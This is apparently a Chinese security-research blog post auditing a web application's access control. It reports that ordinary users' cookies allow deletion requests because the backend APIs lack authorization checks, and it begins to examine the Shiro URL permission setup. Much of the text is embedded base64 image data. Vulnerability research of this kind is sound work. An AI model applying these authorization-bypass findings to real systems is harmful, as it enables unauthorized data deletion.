xK+kVERERERGSyOJhUVM+gonrGGVoYeKyxBD2bc3AHS5nV3Ej37rfpjvm4/ebl+H1uQnPn8PIbm7Ajh+k1m1jcaLBjxx5CQT+tdpYFNUHa2tvwDg0xMx4n9J6rHNqzl6YlC6mqrAQy9Pf3Q8ZioK+X4Y4egoXFDI9ECZY14nWdY7a3k6Fl/y4GBgfGt79LjEZwF9YAMHPZGhzLi8uooGb2EsDANMB0e/G4DG4vryVrOxjchscXgIabMCw3hgkf+WAFYFBe08RN5fUYpgOGG4sq3mePXW35TeswrNPNYhgTCAQwksnkmUoXnjbpv9qm9BcVFo5/bVln3hdRREREREREponODqzf/xLG22+S+96PcFauzndEeXHm+v2MjfSLiIiIiIiIyOXnrAk/TI+kv7ikJN8hiIiIiIiIiFxWzpnw55uSfREREREREZGJm9YJv5J9ERERERERkQtz2ir973XitP6JFu07m9LS0knrS0RERERERESOO6+E/0RFRUWXIg4RERERERERmUTTekq/iIiIiIiIiFyYCY/w54vW84uIiIiIiMh5MYyxP4Dx85/AO2/nOaD8uGwSfhEREREREZHzUlSMU1KCYRiYP/spmFfn5HYl/CIiIiIiInJl8fuxP/9l8LihqyPf0eSNEY/HnXwHISIiIiIiIiKTy2UcXdcgIiIiIiIiIlcOw3EcjfCLiIiIiIiIXGGuzsoFIiIiIiIiIlc4JfwiIiIiIiIiVyAl/CIiIiIiIiJXoAlty5fL5U56bFnWpAYjIiIiIiIiIpPjnEX73pvkv5eSfhEREREREZHp54wJ/7kS/RMp6RcRERERERGZXk67hn8iyf6FtBcRERERERGRS+uUNfzxeOysJ2Qy2TM+V1hYePERiYiIiIiIiMhFO2mE/1zJ/rkMDw9f1PkiIiIiIiIiMjnGE/6LTfaPUdIvIiIiIiIikn9GV1eXEw6HzvuEs03pP1EikbjQmOQyZxgGbrebUCiE2+2etH5zuRyxWIxkMolt25PWr4iIiIiIyJXGNE2MWCx61m353ut8E35gUpM9ufxks1mCweCk7OLgOA6xWAzHcbQrhIiIiIiIyHk4bZV+kclg2/ak7eCQzWaV7IuIiIiIiEyAEn65ZBzHwXEmNIHkjGzb1jR+ERERERGRCVDCLyIiIiIiInIFUsIvIiIiIiIicgVy5TsAmf5SqRSpVGr8scvlwu/3YxhGHqOaRI6D7YBpvvf1OGSzNpbLwgAc28YGLHPy75M5jo3jjFXSdBwbMJno2+s4NrZzPL4T+xQRERERkavPJU34M5nMKZX6R4d6GUxAfXU5hmGQTcXp7huiuLSMoN97ml5yjA5Hee/qbV+gAK9bBdymwgsvvMC3v/1t+vv78fv93H777Xz6058mHA7nO7RzyiQj7D/QSV3zbMKB0+8akY508PKuCLeuWcSJn6iRzt28un2AVasX4zFMBlt30ZEtYXFTBYY5lpDbubFPptvtJpPJnNSv11+A32uRSiZIJNMnX9QwCQQCeNwucGz6Og7SNeJi8YImRjr2sT9axKp5Vae+nlSSwcFBisqr8LpOSOQdm5bdW+lJupnLine truncated
<p>请求包如下<br>
<a id=img6 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026129581-32bf92d8-7093-4a84-a0c3-f034704a2763.png#averageHue=%23e7ecf3&amp;clientId=u5f11db5c-dd70-4&amp;from=paste&amp;height=283&amp;id=u2a88a91f&amp;originHeight=424&amp;originWidth=604&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=61313&amp;status=done&amp;style=none&amp;taskId=u853c81f2-ee45-4b04-b4e0-8247b8fb5dc&amp;title=&amp;width=402.6666666666667" title><img src="data:image/png;base64,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 truncated
登录普通用户,使用普通用户的cookie进行操作,即可删除成功<br>
查看代码也没有看到鉴权的地方<br>
<a id=img7 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707018512864-43ed69c8-cadf-455d-8ac3-5ffa728e94a1.png#averageHue=%2320242c&amp;clientId=u8fbacc72-bcc4-4&amp;from=paste&amp;height=360&amp;id=ud4030ef4&amp;originHeight=540&amp;originWidth=2020&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=110657&amp;status=done&amp;style=none&amp;taskId=u4969ba24-1df2-4270-befb-998419c5749&amp;title=&amp;width=1346.6666666666667"><img src="data:image/png;base64,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 truncated
通读后端的api都没有做相关的鉴权处理,只对cookie的sid的值做了判断。</p>
<h1 id=toc-3>未授权</h1>
<p>我想看看它的鉴权系统是怎么做的,这里他用的shiro做的权限配置</p>
<blockquote><p>Shiro的认证流程如下:</p>
<ol>
<li>用户提交登录请求</li>
<li>Shiro Filter拦截请求</li>
<li>Shiro Filter根据请求的URL配置,判断是否需要进行身份认证</li>
<li>如果需要进行身份认证,Shiro Filter将请求转发给认证器</li>
<li>认证器根据用户的身份信息进行认证</li>
<li>如果认证成功,Shiro Filter将请求转发给目标资源</li>
<li>如果认证失败,Shiro Filter将返回登录页面</li>
</ol>
</blockquote>
<p>其中安全管理器是Shiro的核心,负责Shiro的所有安全操作。安全管理器需要配置以下几个属性:</p>
<ul>
<li>Realm:用于认证和授权的领域</li>
<li>记住我管理器:用于记住用户的登录状态</li>
<li>认证器:用于进行身份认证</li>
<li>授权器:用于进行权限授权</li>
</ul>
<p>再看shiro的配置的时候,发现一个控制URL权限信息的地方<br>
<a id=img8 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707043389791-7adc508e-29ef-42be-ad6b-5928251da6e5.png#averageHue=%231f2125&amp;clientId=uda25b173-7ab7-4&amp;from=paste&amp;height=170&amp;id=u7ff1e847&amp;originHeight=255&amp;originWidth=1108&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=40148&amp;status=done&amp;style=none&amp;taskId=u791039bf-4eed-4e8b-b2fc-5301442069f&amp;title=&amp;width=738.6666666666666"><img src="data:image/png;base64,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